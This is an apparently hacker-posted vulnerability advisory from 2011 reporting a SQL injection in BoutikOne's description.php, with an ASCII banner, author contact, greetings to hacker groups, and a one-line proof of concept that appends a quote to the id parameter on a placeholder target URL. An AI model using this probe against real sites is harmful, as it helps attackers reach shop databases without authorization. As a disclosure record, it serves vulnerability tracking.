BoutikOne suffers from a remote SQL injection vulnerability in description.php.
8ba7b6c4af10997d54211ed4b7a1c578dbb674be4b49b983c253f94329d4a31c
_____ _________ ________ ____________ _____ ________ ________ _____ _____ ________ _________
| || __ \ / ______ \ / \ | | / ______ \ / _______ \ | | | | / ______ \ | __ \
|_____|| | \ \ / / \ \ / \ |_____| / / \ \ / / | ||_____| |_____| / / \ \ | | \ \
| | | |___/ / / / __ \ \ | ___ | | | / / __ \ \ / / | | | | | | / / __ \ \ | |___/ /
| | |__________/ / / | | \ \ | | | | | |/ / | | \ \ / / | | | | / / | | \ \ |__________/
| | | | \ \ | | |__| | || |___| | ___ | || | |__| | | | ____ | | | || | |__| | || | \ \
| | | | \ \ | |____________| || | | | | || |____________| | | | || | | | | || |____________| || | \ \
|___| | | \ \ | | IRAQ_JAGUAR| | \ QQ | |_| || | IRAQ_JAGUAR| | | |_|| | | | | || | IRAQ_JAGUAR| || | \ \
| || | \ \ | | | | \____________/ QQ \ JAGUAR || | | | \________/ | \ \____/ / | | | || | \ \
|_____||__| \__\|_| |_| IRAQ_JAGUAR QQ______ \_______||_| |_|_____________| \_________/ |_| |_||__| \__\
#--------------------------------------------------------
#BoutikOne® (description.php) Sql Injection Vulnerability
#--------------------------------------------------------
#Date 05-03-2011
#
#--------------------------------------------------------
#Discovered By: IRAQ_JAGUAR
#
#
#Mail: iraq_jaguar@yahoo.com
#-------------------------------------------------------
#
#Script: BoutikOne®
#
#Script Home Page: http://www.boutikone.com
#
#--------------------------------------------------------
#Poc/Exploit:
#
#
#http://www.target.com/[path]/description.php?id=1'
#
#
#
#Greetz To : White Devil , Fady Falah , Sec-Mind , Joker Sql , ALL IRAQIZ HACKERZ
------------------------------------------------------------------------------------------------------------------------------------------------------